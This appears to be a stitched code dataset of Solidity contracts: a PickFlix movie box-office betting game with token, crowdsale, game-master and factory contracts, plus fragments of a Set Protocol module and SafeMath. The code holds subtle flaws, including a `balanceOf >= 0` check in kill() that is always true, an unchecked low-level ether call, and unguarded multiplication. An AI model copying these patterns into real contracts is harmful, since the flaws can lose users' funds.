"RebalancingSetCTokenIssuanceModule.depositComponentsHandleCTokensAndEth: Not enough ether included for base SetToken"
);
weth.deposit.value(currentComponentQuantity)();
ERC20Wrapper.ensureAllowance(
address(weth),
address(this),
transferProxy,
currentComponentQuantity
);
coreInstance.depositModule(
msg.sender,
address(this),
currentComponentAddress,
currentComponentQuantity
);
}
}
}
| 12,600,719 |
pragma solidity ^0.4.24;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IPickFlixToken {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function closeNow() public;
function kill() public;
function rate() public view returns(uint256);
}
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != 0);
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != 0);
require(value <= _balances[account]);
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value);
_burn(account, value);
}
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private minters;
constructor(address minter) public {
if(minter == 0x0) {
_addMinter(msg.sender);
} else {
_addMinter(minter);
}
}
modifier onlyMinter() {
require(isMinter(msg.sender), "Only minter can do this");
_;
}
function isMinter(address account) public view returns (bool) {
return minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
minters.remove(account);
emit MinterRemoved(account);
}
}
/**
* @title ERC20Mintable
* @dev ERC20 minting logic
*/
contract ERC20Mintable is ERC20, MinterRole {
/**
* @dev Function to mint tokens
* @param to The address that will receive the minted tokens.
* @param value The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address to,
uint256 value
)
public
onlyMinter
returns (bool)
{
_mint(to, value);
return true;
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(
IERC20 token,
address to,
uint256 value
)
internal
{
require(token.transfer(to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
)
internal
{
require(token.approve(spender, value));
}
}
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale,
* allowing players to purchase tokens with ether. This contract implements
* such functionality in its most fundamental form and can be extended to provide additional
* functionality and/or custom behavior.
* The external interface represents the basic interface for purchasing tokens, and conform
* the base architecture for crowdsales. They are *not* intended to be modified / overridden.
* The internal interface conforms the extensible and modifiable surface of crowdsales. Override
* the methods to add functionality. Consider using 'super' where appropriate to concatenate
* behavior.
*/
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// The token being sold
IERC20 private _token;
// Address where funds are collected
address private _wallet;
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a ERC20Detailed token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
uint256 private _rate;
// Amount of wei raised
uint256 private _weiRaised;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokensPurchased(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
/**
* @param rate Number of token units a buyer gets per wei
* @dev The rate is the conversion between wei and the smallest and indivisible
* token unit. So, if you are using a rate of 1 with a ERC20Detailed token
* with 3 decimals called TOK, 1 wei will give you 1 unit, or 0.001 TOK.
* @param wallet Address where collected funds will be forwarded to
* @param token Address of the token being sold
*/
constructor(uint256 rate, address wallet, IERC20 token) public {
require(rate > 0);
require(wallet != address(0));
require(token != address(0));
_rate = rate;
_wallet = wallet;
_token = token;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @return the token being sold.
*/
function token() public view returns(IERC20) {
return _token;
}
/**
* @return the address where funds are collected.
*/
function wallet() public view returns(address) {
return _wallet;
}
/**
* @return the number of token units a buyer gets per wei.
*/
function rate() public view returns(uint256) {
return _rate;
}
/**
* @return the mount of wei raised.
*/
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param beneficiary Address performing the token purchase
*/
function buyTokens(address beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
_weiRaised = _weiRaised.add(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(
msg.sender,
beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(beneficiary, weiAmount);
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use `super` in contracts that inherit from Crowdsale to extend their validations.
* Example from CappedCrowdsale.sol's _preValidatePurchase method:
* super._preValidatePurchase(beneficiary, weiAmount);
* require(weiRaised().add(weiAmount) <= cap);
* @param beneficiary Address performing the token purchase
* @param weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(
address beneficiary,
uint256 weiAmount
)
internal
{
require(beneficiary != address(0));
require(weiAmount != 0);
}
/**
* @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met.
* @param beneficiary Address performing the token purchase
* @param weiAmount Value in wei involved in the purchase
*/
function _postValidatePurchase(
address beneficiary,
uint256 weiAmount
)
internal
{
// optional override
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param beneficiary Address performing the token purchase
* @param tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(
address beneficiary,
uint256 tokenAmount
)
internal
{
_token.safeTransfer(beneficiary, tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.
* @param beneficiary Address receiving the tokens
* @param tokenAmount Number of tokens to be purchased
*/
function _processPurchase(
address beneficiary,
uint256 tokenAmount
)
internal
{
_deliverTokens(beneficiary, tokenAmount);
}
/**
* @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.)
* @param beneficiary Address receiving the tokens
* @param weiAmount Value in wei involved in the purchase
*/
function _updatePurchasingState(
address beneficiary,
uint256 weiAmount
)
internal
{
// optional override
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 weiAmount)
internal view returns (uint256)
{
return weiAmount.mul(_rate);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
_wallet.call.value(msg.value)();
}
}
/**
* @title TimedCrowdsale
* @dev Crowdsale accepting contributions only within a time frame.
*/
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 private _openingTime;
uint256 internal _closingTime;
/**
* @dev Reverts if not in crowdsale time range.
*/
modifier onlyWhileOpen {
require(isOpen(), "Crowdsale is no longer open");
_;
}
/**
* @dev Constructor, takes crowdsale opening and closing times.
* @param openingTime Crowdsale opening time
* @param closingTime Crowdsale closing time
*/
constructor(uint256 openingTime, uint256 closingTime) public {
// solium-disable-next-line security/no-block-members
require(openingTime >= block.timestamp, "The Crowdsale must not start in the past");
require(closingTime >= openingTime, "The Crowdsale must end in the future");
_openingTime = openingTime;
_closingTime = closingTime;
}
/**
* @return the crowdsale opening time.
*/
function openingTime() public view returns(uint256) {
return _openingTime;
}
/**
* @return the crowdsale closing time.
*/
function closingTime() public view returns(uint256) {
return _closingTime;
}
/**
* @return true if the crowdsale is open, false otherwise.
*/
function isOpen() public view returns (bool) {
// solium-disable-next-line security/no-block-members
return block.timestamp >= _openingTime && block.timestamp <= _closingTime;
}
/**
* @dev Checks whether the period in which the crowdsale is open has already elapsed.
* @return Whether crowdsale period has elapsed
*/
function hasClosed() public view returns (bool) {
// solium-disable-next-line security/no-block-members
return block.timestamp > _closingTime;
}
/**
* @dev Extend parent behavior requiring to be within contributing period
* @param beneficiary Token purchaser
* @param weiAmount Amount of wei contributed
*/
function _preValidatePurchase(
address beneficiary,
uint256 weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(beneficiary, weiAmount);
}
}
/**
* @title TimedCrowdsale
* @dev Crowdsale accepting contributions only within a time frame.
*/
contract DeadlineCrowdsale is TimedCrowdsale {
constructor(uint256 closingTime) public TimedCrowdsale(block.timestamp, closingTime) { }
}
/**
* @title MintedCrowdsale
* @dev Extension of Crowdsale contract whose tokens are minted in each purchase.
* Token ownership should be transferred to MintedCrowdsale for minting.
*/
contract MintedCrowdsale is Crowdsale {
/**
* @dev Overrides delivery by minting tokens upon purchase.
* @param beneficiary Token purchaser
* @param tokenAmount Number of tokens to be minted
*/
function _deliverTokens(
address beneficiary,
uint256 tokenAmount
)
internal
{
// Potentially dangerous assumption about the type of the token.
require(
ERC20Mintable(address(token())).mint(beneficiary, tokenAmount));
}
}
contract PickFlixToken is ERC20Mintable, DeadlineCrowdsale, MintedCrowdsale {
string public name = "";
string public symbol = "";
string public externalID = "";
uint public decimals = 18;
constructor(string _name, string _symbol, uint256 _rate, address _wallet, uint _closeDate, string _externalID)
public
Crowdsale(_rate, _wallet, this)
ERC20Mintable()
MinterRole(this)
DeadlineCrowdsale(_closeDate) {
externalID = _externalID;
name = _name;
symbol = _symbol;
}
function closeNow() public {
require(msg.sender == wallet(), "Must be the creator to close this token");
_closingTime = block.timestamp - 1;
}
function kill() public {
require(msg.sender == wallet(), "Must be the creator to kill this token");
require(balanceOf(wallet()) >= 0, "Must have no tokens, or the creator owns all the tokens");
selfdestruct(wallet());
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns(address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Must be owner");
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Must provide a valid owner address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract PickflixGameMaster is Ownable {
// this library helps protect against overflows for large integers
using SafeMath for uint256;
// fires off events for receiving and sending Ether
event Sent(address indexed payee, uint256 amount, uint256 balance);
event Received(address indexed payer, uint256 amount, uint256 balance);
string public gameName;
uint public openDate;
uint public closeDate;
bool public gameDone;
// create a mapping for box office totals for particular movies
// address is the token contract address
mapping (address => uint256) public boxOfficeTotals;
// let's make a Movie struct to make all of this code cleaner
struct Movie {
uint256 boxOfficeTotal;
uint256 totalPlayerRewards;
bool accepted;
}
// map token addresses to Movie structs
mapping (address => Movie) public movies;
// count the total number of tokens issued
uint256 public tokensIssued = 0; // this number will change
// more global variables, for calculating payouts and game results
uint256 public oracleFee = 0;
uint256 public oracleFeePercent = 0;
uint256 public totalPlayerRewards = 0;
uint256 public totalBoxOffice = 0;
// owner is set to original message sender during contract migration
constructor(string _gameName, uint _closeDate, uint _oracleFeePercent) Ownable() public {
gameName = _gameName;
closeDate = _closeDate;
openDate = block.timestamp;
gameDone = false;
oracleFeePercent = _oracleFeePercent;
}
/**
* calculate a percentage with parts per notation.
* the value returned will be in terms of 10e precision
*/
function percent(uint numerator, uint denominator, uint precision) private pure returns(uint quotient) {
// caution, keep this a private function so the numbers are safe
uint _numerator = (numerator * 10 ** (precision+1));
// with rounding of last digit
uint _quotient = ((_numerator / denominator)) / 10;
return ( _quotient);
}
/**
* @dev wallet can receive funds.
*/
function () public payable {
emit Received(msg.sender, msg.value, address(this).balance);
}
/**
* @dev wallet can send funds
*/
function sendTo(address _payee, uint256 _amount) private {
require(_payee != 0 && _payee != address(this), "Burning tokens and self transfer not allowed");
require(_amount > 0, "Must transfer greater than zero");
_payee.transfer(_amount);
emit Sent(_payee, _amount, address(this).balance);
}
/**
* @dev function to see the balance of Ether in the wallet
*/
function balanceOf() public view returns (uint256) {
return address(this).balance;
}
/**
* @dev function for the player to cash in tokens
*/
function redeemTokens(address _player, address _tokenAddress) public returns (bool success) {
require(acceptedToken(_tokenAddress), "Token must be a registered token");
require(block.timestamp >= closeDate, "Game must be closed");
require(gameDone == true, "Can't redeem tokens until results have been uploaded");
// instantiate a token contract instance from the deployed address
IPickFlixToken _token = IPickFlixToken(_tokenAddress);
// check token allowance player has given to GameMaster contract
uint256 _allowedValue = _token.allowance(_player, address(this));
// transfer tokens to GameMaster
_token.transferFrom(_player, address(this), _allowedValue);
// check balance of tokens actually transfered
uint256 _transferedTokens = _allowedValue;
// calculate the percentage of the total token supply represented by the transfered tokens
uint256 _playerPercentage = percent(_transferedTokens, _token.totalSupply(), 4);
// calculate the particular player's rewards, as a percentage of total player rewards for the movie
uint256 _playerRewards = movies[_tokenAddress].totalPlayerRewards.mul(_playerPercentage).div(10**4);
// pay out ETH to the player
sendTo(_player, _playerRewards);
// return that the function succeeded
return true;
}
// checks if a token is an accepted game token
function acceptedToken(address _tokenAddress) public view returns (bool) {
return movies[_tokenAddress].accepted;
}
/**
* @dev functions to calculate game results and payouts
*/
function calculateTokensIssued(address _tokenAddress) private view returns (uint256) {
IPickFlixToken _token = IPickFlixToken(_tokenAddress);
return _token.totalSupply();
}
function closeToken(address _tokenAddress) private {
IPickFlixToken _token = IPickFlixToken(_tokenAddress);
_token.closeNow();
}
function calculateTokenRate(address _tokenAddress) private view returns (uint256) {
IPickFlixToken _token = IPickFlixToken(_tokenAddress);
return _token.rate();
}
// "15" in this function means 15%. Change that number to raise or lower
// the oracle fee.
function calculateOracleFee() private view returns (uint256) {
return balanceOf().mul(oracleFeePercent).div(100);
}
// this calculates how much Ether is available for player rewards
function calculateTotalPlayerRewards() private view returns (uint256) {
return balanceOf().sub(oracleFee);
}
// this calculates the total box office earnings of all movies in USD
function calculateTotalBoxOffice(uint256[] _boxOfficeTotals) private pure returns (uint256) {
uint256 _totalBoxOffice = 0;
for (uint256 i = 0; i < _boxOfficeTotals.length; i++) {
_totalBoxOffice = _totalBoxOffice.add(_boxOfficeTotals[i]);
}
return _totalBoxOffice;
}
// this calculates how much Ether to reward for each game token
function calculateTotalPlayerRewardsPerMovie(uint256 _boxOfficeTotal) public view returns (uint256) {
// 234 means 23.4%, using parts-per notation with three decimals of precision
uint256 _boxOfficePercentage = percent(_boxOfficeTotal, totalBoxOffice, 4);
// calculate the Ether rewards available for each movie
uint256 _rewards = totalPlayerRewards.mul(_boxOfficePercentage).div(10**4);
return _rewards;
}
function calculateRewardPerToken(uint256 _boxOfficeTotal, address tokenAddress) public view returns (uint256) {
IPickFlixToken token = IPickFlixToken(tokenAddress);
uint256 _playerBalance = token.balanceOf(msg.sender);
uint256 _playerPercentage = percent(_playerBalance, token.totalSupply(), 4);
// calculate the particular player's rewards, as a percentage of total player rewards for the movie
uint256 _playerRewards = movies[tokenAddress].totalPlayerRewards.mul(_playerPercentage).div(10**4);
return _playerRewards;
}
/**
* @dev add box office results and token addresses for the movies, and calculate game results
*/
function calculateGameResults(address[] _tokenAddresses, uint256[] _boxOfficeTotals) public onlyOwner {
// check that there are as many box office totals as token addresses
require(_tokenAddresses.length == _boxOfficeTotals.length, "Must have box office results per token");
// calculate Oracle Fee and amount of Ether available for player rewards
require(gameDone == false, "Can only submit results once");
require(block.timestamp >= closeDate, "Game must have ended before results can be entered");
oracleFee = calculateOracleFee();
totalPlayerRewards = calculateTotalPlayerRewards();
totalBoxOffice = calculateTotalBoxOffice(_boxOfficeTotals);
// create Movies (see: Movie struct) and calculate player rewards
for (uint256 i = 0; i < _tokenAddresses.length; i++) {
tokensIssued = tokensIssued.add(calculateTokensIssued(_tokenAddresses[i]));
movies[_tokenAddresses[i]] = Movie(_boxOfficeTotals[i], calculateTotalPlayerRewardsPerMovie(_boxOfficeTotals[i]), true);
}
// The owner will be the Factory that deploys this contract.
owner().transfer(oracleFee);
gameDone = true;
}
/**
* @dev add box office results and token addresses for the movies, and calculate game results
*/
function abortGame(address[] _tokenAddresses) public onlyOwner {
// calculate Oracle Fee and amount of Ether available for player rewards
require(gameDone == false, "Can only submit results once");
oracleFee = 0;
totalPlayerRewards = calculateTotalPlayerRewards();
closeDate = block.timestamp;
for (uint256 i = 0; i < _tokenAddresses.length; i++) {
uint tokenSupply = calculateTokensIssued(_tokenAddresses[i]);
tokensIssued = tokensIssued.add(tokenSupply);
closeToken(_tokenAddresses[i]);
}
totalBoxOffice = tokensIssued;
// create Movies (see: Movie struct) and calculate player rewards
for (i = 0; i < _tokenAddresses.length; i++) {
tokenSupply = calculateTokensIssued(_tokenAddresses[i]);
movies[_tokenAddresses[i]] = Movie(tokenSupply, calculateTotalPlayerRewardsPerMovie(tokenSupply), true);
}
gameDone = true;
}
function killGame(address[] _tokenAddresses) public onlyOwner {
for (uint i = 0; i < _tokenAddresses.length; i++) {
IPickFlixToken token = IPickFlixToken(_tokenAddresses[i]);
require(token.balanceOf(this) == token.totalSupply());
token.kill();
}
selfdestruct(owner());
}
}
//The contract in charge of creating games
contract PickflixGameFactory {
struct Game {
string gameName;
address gameMaster;
uint openDate;
uint closeDate;
}
// The list of all games this factory has created
Game[] public games;
// Each game master has a list of tokens
mapping(address => address[]) public gameTokens;
// The owner of the factory, i.e. GoBlock
address public owner;
// The address which will receive the oracle fee
address public oracleFeeReceiver;
// An event emitted when the oracle fee is received
event OraclePayoutReceived(uint value);
constructor() public {
owner = msg.sender;
oracleFeeReceiver = msg.sender;
}
function () public payable {
emit OraclePayoutReceived(msg.value);
}
// Throw an error if the sender is not the owner
modifier onlyOwner {
require(msg.sender == owner, "Only owner can execute this");
_;
}
// Create a new game master and add it to the factories game list
function createGame(string gameName, uint closeDate, uint oracleFeePercent) public onlyOwner returns (address){
address gameMaster = new PickflixGameMaster(gameName, closeDate, oracleFeePercent);
games.push(Game({
gameName: gameName,
gameMaster: gameMaster,
openDate: block.timestamp,
closeDate: closeDate
}));
return gameMaster;
}
// Create a token and associate it with a game
function createTokenForGame(uint gameIndex, string tokenName, string tokenSymbol, uint rate, string externalID) public onlyOwner returns (address) {
Game storage game = games[gameIndex];
address token = new PickFlixToken(tokenName, tokenSymbol, rate, game.gameMaster, game.closeDate, externalID);
gameTokens[game.gameMaster].push(token);
return token;
}
// Upload the results for a game
function closeGame(uint gameIndex, address[] _tokenAddresses, uint256[] _boxOfficeTotals) public onlyOwner {
PickflixGameMaster(games[gameIndex].gameMaster).calculateGameResults(_tokenAddresses, _boxOfficeTotals);
}
// Cancel a game and refund participants
function abortGame(uint gameIndex) public onlyOwner {
address gameMaster = games[gameIndex].gameMaster;
PickflixGameMaster(gameMaster).abortGame(gameTokens[gameMaster]);
}
// Delete a game from the factory
function killGame(uint gameIndex) public onlyOwner {
address gameMaster = games[gameIndex].gameMaster;
PickflixGameMaster(gameMaster).killGame(gameTokens[gameMaster]);
games[gameIndex] = games[games.length-1];
delete games[games.length-1];
games.length--;
}
// Change the owner address
function setOwner(address newOwner) public onlyOwner {
owner = newOwner;
}
// Change the address that receives the oracle fee
function setOracleFeeReceiver(address newReceiver) public onlyOwner {
oracleFeeReceiver = newReceiver;
}
// Send the ether to the oracle fee receiver
function sendOraclePayout() public {
oracleFeeReceiver.transfer(address(this).balance);
}
}
|
Internal function that burns an amount of the token of a given account, deducting from the sender's allowance for said account. Uses the internal burn function. account The account whose tokens will be burnt. value The amount that will be burnt./ Should https:github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted, this function needs to emit an event with the updated approval.
|
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value);
_burn(account, value);
}
| 7,267,943 |
// SPDX-License-Identifier: NONE
pragma solidity ^0.8.5;
pragma experimental ABIEncoderV2;
/**
* @title SafeMath
* @author OpenZeppelin (https://docs.openzeppelin.com/contracts/3.x/api/math#SafeMath)
* @dev Library to replace default arithmetic operators in Solidity with added overflow checks.
*/
library SafeMath {
/** @dev Addition cannot overflow, reverts if so. Counterpart to Solidity's + operator. Returns the addition of two unsigned integers.
* Addition */
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function add(uint256 a, uint256 b, string memory errorMsg) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMsg);
return c;
}
/** @dev Subtraction cannot overflow, reverts if result is negative. Counterpart to Solidity's - operator. Returns the subtraction of two unsigned integers.
* Subtraction */
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(a >= b);
uint256 c = a - b;
return c;
}
function sub(uint256 a, uint256 b, string memory errorMsg) internal pure returns (uint256) {
require(a >= b, errorMsg);
uint256 c = a - b;
return c;
}
/** @dev Multiplication cannot overflow, reverts if so. Counterpart to Solidity's * operator. Returns the multiplication of two unsigned integers.
* Multiplication */
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function mul(uint256 a, uint256 b, string memory errorMsg) internal pure returns (uint256) {
if (a == 0) {return 0;}
uint256 c = a * b;
require(c / a == b, errorMsg);
return c;
}
/** @dev Divisor cannot be zero, reverts on division by zero. Result is rounded to zero. Counterpart to Solidity's / operator. Returns the integer division of two unsigned integers.
* Division */
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
return c;
}
function div(uint256 a, uint256 b, string memory errorMsg) internal pure returns (uint256) {
require(b > 0, errorMsg);
uint256 c = a / b;
return c;
}
